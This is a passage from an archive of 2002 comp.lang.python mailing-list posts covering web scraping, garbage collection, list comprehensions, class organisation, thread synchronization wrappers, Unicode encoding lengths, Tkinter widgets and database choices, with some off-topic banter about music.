....??? >>> Ron Stephens http://www.awaretek.com Python scripts and news From claird at starbase.neosoft.com Fri May 24 22:40:39 2002 From: claird at starbase.neosoft.com (Cameron Laird) Date: 24 May 2002 21:40:39 -0500 Subject: [newbie] Is Python what I'm looking for? References: <19eteugnbcppsh0s1kj7gvjr3jvtvfldt2@4ax.com> Message-ID: In article <19eteugnbcppsh0s1kj7gvjr3jvtvfldt2 at 4ax.com>, Giulio Cespuglio wrote: >Hi there, > >My aim is to automatically get specific pieces of information from a >website, simulating the behaviour of a user filling in HTML forms and >clicking buttons (a web robot?), then embed them in my HTML page. >In other words, the pages I need to access are not accessible from a >standard URL. >The other part of the problem is of course parsing the resulting HTML >and extracting the pieces of info I need. > >Does Python provide libraries that could help me? Could you please >give me some keywords/pointers? I'm completely new to Python. >I would of course set up my web server under windows (Apache?) and the >necessary plugin. > >Can you think of a better way of doing this? Another scripting >language perhaps? . . . Most of the common scripting languages are comparably adept at this, which I most often call "Web scraping". I don't know of anyone who's written an effective tutor- ial on Web scraping; I outline architectural aspects in . The pages you want might well be accessible from a con- ventional URL, although this isn't always apparent. Python's a fine language to use for such automations. While there are also special-purpose ones that make such chores even easier, they're available only with stiff license fees. -- Cameron Laird Business: http://www.Phaseit.net Personal: http://starbase.neosoft.com/~claird/home.html From gherron at islandtraining.com Wed May 29 19:43:08 2002 From: gherron at islandtraining.com (Gary Herron) Date: Wed, 29 May 2002 16:43:08 -0700 Subject: Why no open(f, "w").write()? In-Reply-To: References: <200205291422.45264.gherron@islandtraining.com> Message-ID: <200205291643.08915.gherron@islandtraining.com> On Wednesday 29 May 2002 03:30 pm, Fran?ois Pinard wrote: > [Gary Herron] > > > Thus the "bad" part of this programming practice is that the timing > > of the implied close is dependent Python implementation issues (i.e., > > the timing of the garbage collection), and such dependencies are never > > a good thing to rely on. > > There might be cases when one moves between Python and Jython, indeed. > When one knows s/he works with Python only, it is good style to rely on > the refcount behaviour, as it yields code which is not only more legible, > but also more elegant and concise. It means that you understand and > accept in advance having to revise your code if you ever want to use other > implementations of Python, like Jython. As someone was pointing to me > very recently, the Python reference tries to describe a common language, > but there is no "C-Python" specific guide. If there was one, the refcount > behaviour would most probably be described as dependable and reliable, > even through future versions, as far as Python programming is concerned. > > And besides, it seems that the few implementations of Python do not support > exactly the same language: extensions here may not be available there. > Defining "good style" as the common subset of all Python implementations, > and everything else as "bad style", seems questionable. The only thing > is that you have to be aware of the implications of your choices. > > For this "Jython-forces-you-to-explicit-closes" matter, my feeling is that > Jython encourages bad style here, much more than it defines good style. > Surely, there has never been a bad intent from Jython author. We > understand that the limitation comes from the fact Jython relies on the > Java system for collecting garbage. One has to close explicitly in Jython > for practical implementation considerations, this has nothing to do with > good style. Lots of what you say is true, but not applicable in this case. The example open(f, 'w').write(stuff) depends on an accident of current versions of this implementation of Python. The manual is quite explicit about NOT being able to depend ANY particualar "features" of garbage collection -- not even on its existence. I think we can agree that it must be considered "bad prgramming practice" to depend on features which the manual claims may not exist, past, present, or future. Here's the quote from the Reference Manual: Objects are never explicitly destroyed; however, when they become unreachable they may be garbage-collected. An implementation is allowed to postpone garbage collection or omit it altogether -- it is a matter of implementation quality how garbage collection is implemented, as long as no objects are collected that are still reachable. (Implementation note: the current implementation uses a reference-counting scheme with (optional) delayed detection of cyclicly linked garbage, which collects most objects as soon as they become unreachable, but is not guaranteed to collect garbage containing circular references. See the Python Library Reference for information on controlling the collection of cyclic garbage.) Gary Herron From aleax at aleax.it Fri May 10 02:33:39 2002 From: aleax at aleax.it (Alex Martelli) Date: Fri, 10 May 2002 06:33:39 GMT Subject: [Survey] Py Feedback References: <3cd9a9d9.196458672@news.newsguy.com> Message-ID: <7RJC8.43000$zW3.495820@news1.tin.it> Chris wrote: > Linux magazine seems to have a lot of interest in Python, perhaps you > could somehow bundle with them? *blink* I believe LM ran their first ever Python article in April (by an interesting quirk it ran in the same issue as an excellent Ruby one by Thomas & Hunt, too -- I wasn't told about that and neither, I think, were T&H). Apparently in reaction to good reader acceptance of that, I was then asked for another article in a rush, and we're now putting the final touches on it for appearance in July. But that's still a grand total of two (2) articles over the whole lifetime of LM. And I'm not privvy to other Python plans of theirs as yet. How do you extrapolate from that to "a lot of interest"? Am I missing something...? Alex From robline at purdue.edu Mon May 6 22:19:31 2002 From: robline at purdue.edu (Rob Lineberger) Date: 6 May 2002 19:19:31 -0700 Subject: Trying to use "Programming Python" (Lutz), getting module errors. References: <84773476.0205052134.8c1d533@posting.google.com> <6c92a8bc.0205060225.46b1c6c9@posting.google.com> <84773476.0205060722.6f377f52@posting.google.com> <5qxB8.9275$zW3.236030@news1.tin.it> Message-ID: <84773476.0205061819.106ee3a4@posting.google.com> Thanks for all the help. I have gotten it working now. I believe it was the .py that was getting me in trouble. Looking forward to a more productive learning session tonight! I hope any future questions will be a bit deeper. :) From jb at cascade-sys.com Thu May 9 13:01:36 2002 From: jb at cascade-sys.com (James J. Besemer) Date: Thu, 09 May 2002 10:01:36 -0700 Subject: Simple question about how the optimizer works References: <3cda42ef_1@goliath2.newsgroups.com> <3cda43fd_1@goliath2.newsgroups.com> <3CDA9B3C.F2D00FE6@cascade-sys.com> <20020509113410.C18545@unpythonic.net> Message-ID: <3CDAAB70.B71E1D76@cascade-sys.com> Jeff Epler wrote: > On Thu, May 09, 2002 at 08:52:28AM -0700, James J. Besemer wrote: > > > I'd expect there'd be more to gain in Python simply looking for patterns such as > > > > for i in xrange(N): ... > > The expression giving the object to iterate over in a 'for' loop is > evaluated only when the 'for' loop begins, not at each iteration. No, of course not. I didn't mean to suggest that the expression in this case was being evaluated multiple times. Rather I was harkening back to an earlier discussion where we established that certain forms of for loops and list comprehensions were much slower than e.g., functional and lambda forms that accomplished the same things. So I was suggesting an optimizer that when it saw a form like: res = [] for x in list: if x: res.append( x ) it would substitute a call to something filter( lambda x : x is not None, list ) Where the entire substitution might furthermore be part of a C runtime routine instead even of explicit calls to filter and lambda. List comprehensions seem to be one of the slowest way to iterate over data. Perhaps some common forms can be recognized by the optimizer and passed to an efficient runtime module. > Get busy .. Oh yeah. Lotta work. I haven't looked at Python's runtime system but optimizations was an area I was interested in. Regards --jb -- James J. Besemer 503-280-0838 voice http://cascade-sys.com 503-280-0375 fax mailto:jb at cascade-sys.com From op73418 at mail.telepac.pt Wed May 15 20:38:04 2002 From: op73418 at mail.telepac.pt (Gonçalo Rodrigues) Date: Thu, 16 May 2002 01:38:04 +0100 Subject: OT: Crazy Programming References: Message-ID: <9jv5euoog2mdufk8k81e018to90odk57vm@4ax.com> On Wed, 15 May 2002 15:24:08 -0700, Cliff Wells wrote: >On Wed, 15 May 2002 13:17:19 -0400 >Christopher Encapera wrote: > >> lol! If she has, she has not let me in on the betrayal! (that would be so >> 'artsy fartsy' of her:) On a more serious note, I do subscribe to that old >> fashioned notion of the hierarchy of value, which recognizes that some >> things, some philosophies, even some cultures & art are better than others. >> While Willie Nelson's 'blue eyes cryin in the rain' might not be Mozart, it >> is vastly superior (in every respect) to say, the rapper of the week (or >> that "modern art" that sits in front of county hall). And that ain't no >> personal opinion - that is objective truth - the very foundation of the >> universe, the ground of all being and meaning, agrees with this evaluation >> (i.e. it is objective truth!). Indeed what is arrogant is that philosophy >> so popular these days that everything is relative - that there can be no >> (other than subjective) evaluation of right and wrong, good and bad, art >> and, well, bad art - it is an arrogant relativism gone wild :) But none of >> this has much to do with that honorable, high art of programming python, and >> will be my last laugh - I mean post - on the matter ;) > >I'm reminded of the Smith's "Hang the DJ": > >"because the music he constantly plays / says nothing to _me_ about _my_ life" >[emphasis added] > >There can never be an "objective" view of art. It either speaks to you or it >doesn't, but that is entirely subjective (unless of course you can prove that a >particular piece speaks to no one). There is only one style of music that I believe is universally bad: Heavy metal and its offsprings. Only when mixed in with other styles and even then for the thing to function they have to be done by musicians of the highest calibre and at their best (Young Gods, John Zorn and a few others). And about the people that like Heavy metal, well, what can I say? Just look at them banging their heads and spreading their dandruff for a quarter of a mile ;-) Best, Gon?alo Rodrigues From ritchie at fnal.gov Thu May 9 13:56:43 2002 From: ritchie at fnal.gov (David J. Ritchie) Date: Thu, 09 May 2002 12:56:43 -0500 Subject: Python vs. Perl, which is better to learn? References: <3CDAA5A5.D4077E5C@fnal.gov> Message-ID: <3CDAB85B.C49BABD9@fnal.gov> > > Actually, I have a different point: why are you moving blocks of code? It's a matter of writing in which I move from a rough draft to a final document (whether code or natural language). From tdelaney at avaya.com Mon May 27 03:28:45 2002 From: tdelaney at avaya.com (Delaney, Timothy) Date: Mon, 27 May 2002 17:28:45 +1000 Subject: Defining a class in several files Message-ID: > From: jb [mailto:jblazi at hotmail.com] > > Is there a way of defining the member functions of a class in > different > files? If you class is getting large, having to defining all member > functions in the same file can be a pain in the neck. There are a number of ways, including adding methods to existing classes, etc. However, probably the best way is to use subclasses. Split up your methods into (preferably) related groups. # a.py class A: def method1 (self): pass # b.py class B: def method2 (self): pass # c.py class C: def method3 (self): pass # __init__.py import a import b import c class D (a.A, b.B, c.C): pass At this point, class D has all the functionality of a.A, b.B and c.C ... Package it all up (hence the __init__.py) and the outside world may never be the wiser. Tim Delaney From brueckd at tbye.com Tue May 14 11:02:09 2002 From: brueckd at tbye.com (brueckd at tbye.com) Date: Tue, 14 May 2002 08:02:09 -0700 (PDT) Subject: generated comprehensions In-Reply-To: <4c877253.0205132231.6d286d0b@posting.google.com> Message-ID: On 13 May 2002, Garth T Kidd wrote: > I'm a little worried about getting into the habit of using list > comprehensions because I'll have to re-write the comprehensions back > in "normal" Python whenever someone tries to shove a lot of data > through them. Who is 'someone' and why would they shove 'a lot' (too much) data through your list comprehensions? (i.e. - are you actually writing code that has to behave properly for unknown and possibly malicious users and/or handle huge amounts of data or are you just musing over the theoretical limits of what Python can handle?) > If we're talking normal sequences, of course, it's not that much of a > problem. If it fits in memory, it fits in memory. It's when you start > using generators because you need to that suddenly comprehensions look > a little brittle. > > def printOdds(upto): > for odd in [num for num in xrange(upto) if num%2]: > print odd > > ... works fine if upto is 5, but just sits there chewing up memory if > upto is 10**9, What are the odds of actually being bitten by this "problem"? Assuming you have a real program, it'll be much more complex than this single function, and I'd expect that it's likely to break down in other ways, not just list comprehensions. For example, maybe you should avoid using strings as much as possible too (and just do all your data processing by reading and writing to an open file or a memory-mapped file) <0.7 wink>. IOW, if your program will realistically need to handle a billion of something, there's no point in singling out list comprehensions because you'll need to be careful every step of the way. > I'm sure I'll figure out a decent rule of thumb (say, "unit test with > the biggest practical number, and get rid of comprehensions if they > turn out to be a problem", or "don't use comprehensions with > generators") How about "don't cross the bridge til you get to it"? If you are writing a program that needs to handle large amounts of data, that's something you'll have to keep in mind every step of the way. Outside of that very narrow domain, however, it's usually a waste of time to worry about it. For example, the other day I wrote a quick utilitiy to add line numbers to source code files for annotation - theoretically I can get into big trouble if the source code file is too big to fit into memory or if it is more than 2.1 billion lines long (I'm using Python 2.1), but realistically it's a waste of time to be concerned with that. -Dave From simon at nospam.demon.co.uk Sun May 5 16:36:07 2002 From: simon at nospam.demon.co.uk (Simon Foster) Date: Sun, 5 May 2002 21:36:07 +0100 Subject: degrees and radians. References: <3cd54503$0$237$cc9e4d1f@news.dial.pipex.com> Message-ID: <3cd597bb$0$237$cc9e4d1f@news.dial.pipex.com> "Jim Richardson" wrote in message news:oj04ba.tnb.ln at 127.0.0.1... > -----BEGIN PGP SIGNED MESSAGE----- > Hash: SHA1 > > On Sun, 5 May 2002 15:43:14 +0100, > Simon Foster wrote: > > > > "Jim Richardson" wrote in message > > news:tvl2ba.4q7.ln at 127.0.0.1... > >> -----BEGIN PGP SIGNED MESSAGE----- > >> Hash: SHA1 > >> > > > > ... > > > >> > >> Well, now that I have conquered elementry trig, I am now going to try > >> for simple python and figure out how to add the contents of a tuple to > >> the contents of another tuple... > >> > > > > Try '+' > > > >>>> a > > (1, 2) > >>>> b > > (3, 4) > >>>> a+b > > (1, 2, 3, 4) > >>>> > > > > > > > sorry, I wasn't very clear, in the above example, the result I am > looking for is > > >>>a=(1,2) > >>>b=(2,3) > >>>a+b > (3,5) > > > if that makes sense, I don't want to append, I want to add. > >>> a (1, 2) >>> b (3, 4) >>> [ x + y for x, y in zip( a, b ) ] [4, 6] >>> From loewis at informatik.hu-berlin.de Wed May 8 05:31:48 2002 From: loewis at informatik.hu-berlin.de (Martin v. =?iso-8859-1?q?L=F6wis?=) Date: 08 May 2002 11:31:48 +0200 Subject: sgmllib too slow References: <_FHB8.41355$YQ1.17953481@typhoon.southeast.rr.com> <8h3C8.14403$zW3.346467@news1.tin.it> Message-ID: Alex Martelli writes: > How would it help in the case in point? Say the new sgmllib has > identical functionality to the one distributed with Python but is > 10 times faster. I believe this is not the case. It is 10 times faster, but it is not identical in behaviour. > Why _shouldn't_ I be able to install it instead of the distributed > one? How would installing it under a different name help with all > existing places (including in the standard library) that today > "import sgmllib"? I don't know why you shouldn't be able to install it (*), but I do know that you are not able to install it, except by overwriting the one in the installation, or by inserting a directory before sys.path[0]. Neither of these are recommended. If you find that the replacement library works for you, distribute it with your application, referring to it with a different name. To simplify porting, you can write from gathmanlibs import sgmllib instead of import sgmllib Regards, Martin (*) In the case of sgmlop, I do know: because it is no complete replacement. I *believe* that htmllib would break if you replaced sgmllib, but I believe so with detailed analysis. From chris.myers at ingenta.com Tue May 7 09:19:49 2002 From: chris.myers at ingenta.com (Christopher Myers) Date: Tue, 07 May 2002 09:19:49 -0400 Subject: Anonymous tkinter/Pmw widgets? Message-ID: <3CD7D475.5A85C5EF@ingenta.com> Anyone know how I can get a reference to an anonymous widget created on the fly? Background: I created a Date-selector widget which is a Pmw dialog with a calendar. The calendar is created on the fly, using Tkinter Buttons, and as such, they are not named widgets -- just buttons placed properly in the interior of the dialog using the Grid geometry manager and the Python calendar module for which date goes where. I suppose I could create an array of Buttons as use their array index as the name/reference, but I'd like to avoid that if it's possible. I want the dialog to return the label on the button pressed, so I can use that as the date value. (Note: Is there any type of calendar widget already written? I poked around a bit and couldn't find one, then figured it was pretty easy to write my own.) Code snip: # Calendar selection dialog self.calendarSelectDialog = Pmw.Dialog(master, title = 'Select Date', buttons = ('OK', 'Cancel'), defaultbutton = 'OK',) #-------> no command yet . . . #command=self.execCalDialog) # Pack my calendar widget into the dialog's interior self.myCalFrame = Frame(self.calendarSelectDialog.interior()) self.myCalFrame.pack() # Build the calendar # 8 rows, 7 cols grid. row0 is "Month, Year" # row1 is Day of Week headings # Calendar title, and arrow buttons self.calTitle = StringVar() self.getDate() # Fills fields self.y, self.m, self.d self.calTitle.set("%s %i" %(calendar.month_name[self.m], self.y)) self.calLabel = Label(self.myCalFrame, textvariable=self.calTitle) self.calLabel.grid(row=0, column=2, columnspan=3) self.leftArrow = PhotoImage(file="/home/chris/moon/arrow_left.gif") self.rightArrow = PhotoImage(file="/home/chris/moon/arrow_right.gif") self.calBtnLeft = Button(self.myCalFrame, image=self.leftArrow, command=self.sub_month) self.calBtnLeft.grid(row=0, column=1) self.calBtnRight = Button(self.myCalFrame, image=self.rightArrow, command=self.add_month) self.calBtnRight.grid(row=0, column=5) # Day column Headings col_cnt=0 for name in calendar.day_name: day_abbrev = name[:2] Label(self.myCalFrame, text=day_abbrev).grid(row=1, column=col_cnt) col_cnt=col_cnt+1 # Buttons for actual days. mc = calendar.monthcalendar(self.y, self.m) for i in range(len(mc)): for j in range(7): num = mc[i][j] if num == 0: state="disabled" n = "" else: state="normal" n = `num` Button(self.myCalFrame, text=n, width=2, state=state, # -----------> command=self.red_day).grid(row=i+2, column=j) # # self.red_day is supposed to turn the day red # then the user clicks OK. Optimally, I'd like the button's command # to return the day selected and close the dialog. # -- Christopher Myers, Graduate Software Developer Ingenta, Inc. 12 Bassett St. Providence, RI 02903 ph: 401.331.2014 x 102 em: chris.myers at ingenta.com aim: chrismyers001 From fredrik at pythonware.com Sun May 12 14:02:42 2002 From: fredrik at pythonware.com (Fredrik Lundh) Date: Sun, 12 May 2002 18:02:42 GMT Subject: making python scripts backwards compatible References: Message-ID: <67yD8.37516$n4.8177265@newsc.telia.net> Brian Quinlan wrote: > 2. How much effort should have been expended to make sure that all > modules shipped as part of Python 2.2 work with Python x.y? why does it have to be an all-or-nothing issue? From gcordova at hebmex.com Mon May 6 09:37:29 2002 From: gcordova at hebmex.com (Gustavo Cordova) Date: Mon, 6 May 2002 08:37:29 -0500 Subject: Synchronization mixin in Python anyone? Message-ID: > Gustavo Cordova wrote in > news:mailman.1020461587.9261.python-list at python.org: > > Hmmm... interesting problem. I've been playing with a function > > synchronization class lately, just toying with the idea. I don't > > know if anybody wants it, but here's the basic skeleton: > > > > ### SynchronizedCall > > import thread > > > > class SynchronizedCall: > > def __init__(self, function, *args, **kw): > > self._lock = thread.Lock() > > self._args = args > > self._kw = kw > > self._function = function > > > > def __call__(self, *args, **kw): > > self._lock.acquire() > > try: > > args = self._args + args > > kw.update(self._kw) > > result = self._function(*args, **kw) > > > > ## In case of an exception, release lock first. > > except: > > self._lock.release() > > raise > > > > self._lock.release() > > return result > > > > ## THE END > > the "except" is wrong placed here - that's what "try: > finally:" is for: > > try: > args = self._args + args > kw.update(self._kw) > return = self._function(*args, **kw) > finally: > self._lock.release() > But what about any exception that's raised? Does the finally: clause re-raise the exception so that it can be caught upstream? > > > Really quite simple. > > well, you're mixing locking and currying in one wrapper. > i would prefer to have them separately. > Well, yeah; but the currying here comes practically for free, and since you don't *have* to pass any default arguments, you can not-curry if you don't like curry. :-) > > > The thing that discouraged me from trying to do this with > > instance methods, is that it becomes a bit complicated if > > someone takes a reference to a method, like I do commonly: > > > > ## Example > > > > rex = sre.compile(r"really big and complicated", sre.S|sre.I) > > > > find_everything = rex.findall > > > > while ... : > > ... > > things = find_everything(string) > > ... > > > > ## End example > > > > So, how would I protect calls to rex.findall() when they're > > done through find_everything() ? > > by replacing rex.findall with the wrapped method. > something like that: > > rex.__class__.findall = SynchronizedCall(rex.__class__.findall) > > (note that this has side effects on all instaces of the > "Regular Expression Object" and therefore should be considered evil) > Yes; it'll block for all instances of "Regular Expression Object", which is what makes this so complicated. :-) > > with user defined classes this at least looks easier: > > class A: > def f(): > print "hello" > f = SynchronizedCall(f) > > the problem here, like above, is that it has an effect on all > instaces of A, because there is only _one_ lock for all instances. > not realy what you want... > > the SynchronizedCall wrapper might be too simple for OO. i > think it makes more sense when one method can lock out another > on the same instance, like "synchronized" in Java (e.g. get > and set methods for an attribute can not be called at the same > time). maybe it is that what the OP wanted with his mix-in. > > chris > Yes, I was thinking of something like that with the regex example, a way to block between the time a thread enters *any* method of an instance, until it exits the method. And that's where it gets complicated. Maybe with some little hacking of the interpreter, we could make a "synchronized" function, like "property()". Who knows :-) -gustavo From nhodgson at bigpond.net.au Wed May 8 20:05:39 2002 From: nhodgson at bigpond.net.au (Neil Hodgson) Date: Thu, 09 May 2002 00:05:39 GMT Subject: Multibyte Character Surport for Python References: Message-ID: Martin v. Loewis: > PEP 263 will introduce the notion of source encodings - without this, > it wouldn't even be possible to parse the source code, anymore. The > PEP, over months, had a question in it asking whether non-ASCII > identifiers should be allowed (the follow-up question would then be: > which ones?), and nobody ever spoke up requesting such a feature. > > It is a real surprise for me that suddenly people want this. I've said several times in the past that Python should support non-ASCII identifiers, partly to encourage people whose native character set is not Roman based and partly to facilitate interop with other environments such as Java and .NET that allow non-ASCII characters in identifiers. Neil From pyth at devel.trillke.net Fri May 3 14:48:42 2002 From: pyth at devel.trillke.net (holger krekel) Date: Fri, 3 May 2002 20:48:42 +0200 Subject: Slight irritation with try/finally indentation In-Reply-To: <3cd2c922.692157118@news> References: <3cd2c922.692157118@news> Message-ID: <20020503184842.GE4604@devel.trillke> David C. Ullrich wrote: > On 24 Apr 2002 10:14:45 -0400, pinard at iro.umontreal.ca > (=?iso-8859-1?q?Fran=E7ois?= Pinard) wrote: > > [...] > > > > [...] > > setup() > > try: > > process() > > finally: > > cleanup() > > [...] > > > >What I find irritating is that `cleanup()' is not aligned anymore with > >`setup()', as it was originally, so we loose on the legibility of the > >parenthetical idiom we wanted to stress. > > Exactly the same thing bothered me years ago with try-finally in > another language (where the indentation was optional). I never > got around to complaining about it, though... Out of curiosity how would you actually make up the rules: try: ... finally: dothis() dothat() Now how do you know if 'dothat' is included or excluded in the finally-code block? i would find *that* irritating. holger From greg at cosc.canterbury.ac.nz Mon May 6 01:14:27 2002 From: greg at cosc.canterbury.ac.nz (Greg Ewing) Date: Mon, 06 May 2002 17:14:27 +1200 Subject: Python vs. Perl, which is better to learn? References: <82bsbvl5q1.fsf@acropolis.localdomain> <82adrehag0.fsf@acropolis.localdomain> <821ycqjayi.fsf@acropolis.localdomain> Message-ID: <3CD61133.204ABAFE@cosc.canterbury.ac.nz> Patrick W wrote: > > (I recall that one of two NZ > Pythonistas named Greg has invented an extension language which, at a > glance, looks very nice. That'd be me: http://www.cosc.canterbury.ac.nz/~greg/python/Pyrex/ -- Greg Ewing, Computer Science Dept, University of Canterbury, Christchurch, New Zealand To get my email address, please visit my web page: http://www.cosc.canterbury.ac.nz/~greg From mlh at vier.idi.ntnu.no Sat May 11 11:05:33 2002 From: mlh at vier.idi.ntnu.no (Magnus Lie Hetland) Date: Sat, 11 May 2002 15:05:33 +0000 (UTC) Subject: path.startswith(dir)? References: Message-ID: In article , Sean 'Shaleh' Perry wrote: >> >> This ought to be a safe/platform independent way of doing it, right? > >look at os.path. > If you look at my posting again, you may recognise the function names. Then add a from os.path import * or something to the top... And perhaps take a look at the question again? ;) (Sorry for not being absolutely clear about this -- the os.path part was just so obvious to me.) -- Magnus Lie Hetland The Anygui Project http://hetland.org http://anygui.org From msoulier at mcss.mcmaster.ca_.nospam Thu May 30 10:28:22 2002 From: msoulier at mcss.mcmaster.ca_.nospam (Michael P. Soulier) Date: 30 May 2002 14:28:22 GMT Subject: problems with anydbm Message-ID: Hey people. I just tried to open a dbm file like so: >>> file = anydbm.open('zc7_19100_lab_schedule', "r") Traceback (innermost last): File "", line 1, in ? File "/usr/lib/python1.5/anydbm.py", line 86, in open return mod.open(file, flag, mode) dbm.error: (0, 'Error') 'Error' isn't very informative. Is there a way to get more information as to what the problem is? Mike -- Michael P. Soulier , GnuPG pub key: 5BC8BE08 "...the word HACK is used as a verb to indicate a massive amount of nerd-like effort." -Harley Hahn, A Student's Guide to Unix From kingprad at mail.com Wed May 8 17:35:34 2002 From: kingprad at mail.com (Carl) Date: Wed, 8 May 2002 16:35:34 -0500 Subject: NEVER MIND! References: <3cd9958d@news.cc.umr.edu> Message-ID: <3cd99946@news.cc.umr.edu> I solved the problem finally by moving the location around about 12 times, resaving and running. After 12 times it suddenly worked, right before my head exploded with frustration. From alwyn at alwyn.demon.co.uk Tue May 7 18:21:57 2002 From: alwyn at alwyn.demon.co.uk (Alwyn) Date: Tue, 07 May 2002 22:21:57 GMT Subject: Result of I need your experience - classification and comparison of languages References: Message-ID: In article , yvan.radenac at equant.com (Yvan Radenac) wrote: > Hi, > This is the results of the questions i asked few months ago as the > post > "I need your experience - classification and comparison" > The subject of the report is "oriented object languages and their free > implementation". > > First, thank you for your answers. > > You can find, in french, the report at > http://www.cnamoo.net/uv/b5/ftp/mini/radenac.pdf Many errors and lacunae in the section 'Historique', I'm afraid. For instance, you say that Ada was invented by the American DoD. It comes in fact from a team under the direction of Jean Ichbiah, working for the French firm, CII Honeywell-Bull. And I thought Ruby was devised by a certain Yukihiro Matsumoto. :-) Alwyn From mertz at gnosis.cx Fri May 10 14:21:31 2002 From: mertz at gnosis.cx (Lulu of the Lotus-Eaters) Date: Fri, 10 May 2002 14:21:31 -0400 Subject: Multibyte Character Surport for Python References: <87g011q3fl.fsf@tleepslib.sk.tsukuba.ac.jp> <87y9etmya6.fsf@tleepslib.sk.tsukuba.ac.jp> Message-ID: Skip Montanaro wrote previously: |Yes, depending on what you pass to len(). If it's a plain string it |definitely depends on the encoding: | >>> u"a" | u'a' | >>> u"a".encode("utf-16") | '\xff\xfea\x00' | >>> u"a".encode("utf-8") | 'a' | >>> len(u"a".encode("utf-16")) | 4 | >>> len(u"a".encode("utf-8")) | 1 | >>> len(u"a") | 1 Skip knows this, but novices might not. UTF-16 encoding is kinda a funny case in term of length. Each UTF-16 string is prepended with a two-byte "endian" header. So while Skip's example might suggest that "a" takes 4 bytes to encode in UTF-16, it really only take 2 bytes, but has a 2 byte "overhead." Compare: >>> u"aa".encode("utf-16") '\xff\xfea\x00a\x00' >>> len(u"aa".encode("utf-16")) 6 >>> len(u"aaa".encode("utf-16")) 8 Yours, Lulu... -- mertz@ _/_/_/_/_/_/_/ THIS MESSAGE WAS BROUGHT TO YOU BY:_/_/_/_/ v i gnosis _/_/ Postmodern Enterprises _/_/ s r .cx _/_/ MAKERS OF CHAOS.... _/_/ i u _/_/_/_/_/ LOOK FOR IT IN A NEIGHBORHOOD NEAR YOU_/_/_/_/_/ g s From gherron at islandtraining.com Wed May 22 19:59:37 2002 From: gherron at islandtraining.com (Gary Herron) Date: Wed, 22 May 2002 16:59:37 -0700 Subject: "casting" Python objects In-Reply-To: References: Message-ID: <200205221659.37459.gherron@islandtraining.com> On Wednesday 22 May 2002 04:28 pm, DJW wrote: > I know there is no such thing in Python as C-style casting, but I don't > understand what idiom is supposed to be used instead. This might get you what you want. You can change the class of an object to a different class with a simple assignment (see below). This will not change of the objects attributes of values (which is probably what you want), but it will change method lookup to the new class (which, I think, is exactly what you want). Here's an example of creating an object of type C and then changing it to an object of type D. First create two (trivial classes): >>> class C: ... pass ... >>> class D: ... pass ... Then create an object of one class and print it: >>> c = C() >>> print c <__main__.C instance at 0x81530f4> >>> The re-class the object and print again. >>> c.__class__ = D >>> print c <__main__.D instance at 0x81530f4> >>> Try defining some methods on those two classes, and see what happens when you call them. Gary Herron From gcordova at hebmex.com Fri May 3 17:21:34 2002 From: gcordova at hebmex.com (Gustavo Cordova) Date: Fri, 3 May 2002 16:21:34 -0500 Subject: Synchronization mixin in Python anyone? Message-ID: > > The Zope system contains a Synchronization mixin class > for thread synchronization written in C. Derive a class from > Synchronized > and any mythod calls on an instance of the class are > thread safe. > > Does anybody know of any Python implementation? The C version > exhibits "interesting" refcounting behavior I need to work around. > > regards, > Sean McGrath > Hmmm... interesting problem. I've been playing with a function synchronization class lately, just toying with the idea. I don't know if anybody wants it, but here's the basic skeleton: ### SynchronizedCall import thread class SynchronizedCall: def __init__(self, function, *args, **kw): self._lock = thread.Lock() self._args = args self._kw = kw self._function = function def __call__(self, *args, **kw): self._lock.acquire() try: args = self._args + args kw.update(self._kw) result = self._function(*args, **kw) ## In case of an exception, release lock first. except: self._lock.release() raise self._lock.release() return result ## THE END Really quite simple. The thing that discouraged me from trying to do this with instance methods, is that it becomes a bit complicated if someone takes a reference to a method, like I do commonly: ## Example rex = sre.compile(r"really big and complicated", sre.S|sre.I) find_everything = rex.findall while ... : ... things = find_everything(string) ... ## End example So, how would I protect calls to rex.findall() when they're done through find_everything() ? Anyway, have fun :-) -gustavo From aleax at aleax.it Tue May 14 09:06:47 2002 From: aleax at aleax.it (Alex Martelli) Date: Tue, 14 May 2002 13:06:47 GMT Subject: python for this C: "if ((a = b(c)) != NULL)" References: <12257ec4.0205140344.2680b226@posting.google.com> Message-ID: David Carson wrote: ... > So, I'll ask again: How do I do the equivalent in Python so that it is > both clear and concise? "Clear" is in the eye of the beholder. Some will detest you if you use this, or even detest me for pointing it out, but...: if [a for a in [b(c)] if a is not None]: whatever(a) This abuse of list comprehensions is 'the' way, in Python 2.0, to bind a variable name within an _expression_ -- normally, Python rebinds variables only in _statements_, but list comprehensions let you escape this stricture if you really can't live with it. http://aspn.activestate.com/ASPN/Cookbook/Python/Recipe/66061 gives another alternative, which I find preferable when I do have to transliterate C, C++ or Perl code using assign-and-test idioms into Python without altering structure -- but, it does require a bit of infrastructure (4 lines' worth of class definition) as it does not rebind a name but rather 'assigns' the value through the method of a class instance. The list-comprehension-abuse works entirely within Python and requires no supporting infrastructure. But its clarity may not be sufficient to make it worth using. Alex From max at alcyone.com Thu May 2 14:56:51 2002 From: max at alcyone.com (Erik Max Francis) Date: Thu, 02 May 2002 11:56:51 -0700 Subject: Perl-like backtick in Python References: Message-ID: <3CD18BF3.2F43AA4A@alcyone.com> Tom Verbeure wrote: > In Perl i can do something like this: > > $str = `cat myfile.in`; > > Basically the string that is surrounded by the backticks is executed > by a shell and the stdout is returned as a string. > > In the python library, there is spawn*, exec* and system, but the > return the exit status of the command, not the output. Any suggestions > about who to do this? You want os.popen, or one of the related beasts in the popen2 module. -- Erik Max Francis / max at alcyone.com / http://www.alcyone.com/max/ __ San Jose, CA, US / 37 20 N 121 53 W / ICQ16063900 / &tSftDotIotE / \ Life is one long process of getting tired. \__/ Samuel Butler Interstelen / http://www.interstelen.com/ A multiplayer, strategic, turn-based Web game on an interstellar scale. From warlock at eskimo.com Mon May 13 03:07:49 2002 From: warlock at eskimo.com (Jim Richardson) Date: Mon, 13 May 2002 00:07:49 -0700 Subject: which db should I use? References: Message-ID: <5oonba.f4l.ln@127.0.0.1> -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 On Mon, 13 May 2002 13:50:34 +1000, David K. Trudgett wrote: > On Sunday 2002-05-12 at 20:11:50 -0700, Jim Richardson wrote: > >> stuff) But I don't know which db module would work better for me?I am >> running this on a linux box, and cross platform is not a big deal, I am >> looking at both postgres and mysql. Since I have 0 experience with >> either one especially in context of interfacing with python. I'd like >> suggestions please. > > You could have a look at the Firebird database, which is an industrial > strength client-server database, originally designed for embedded > systems use, so it's low maintenance and easy to install. Have a look > at http://firebird.sourceforge.net/ and http://www.ibphoenix.com/ > A Python interface is available, of course, as well as a Zope database > adapter. > > David Trudgett > > > Thanks, I will. -----BEGIN PGP SIGNATURE----- Version: GnuPG 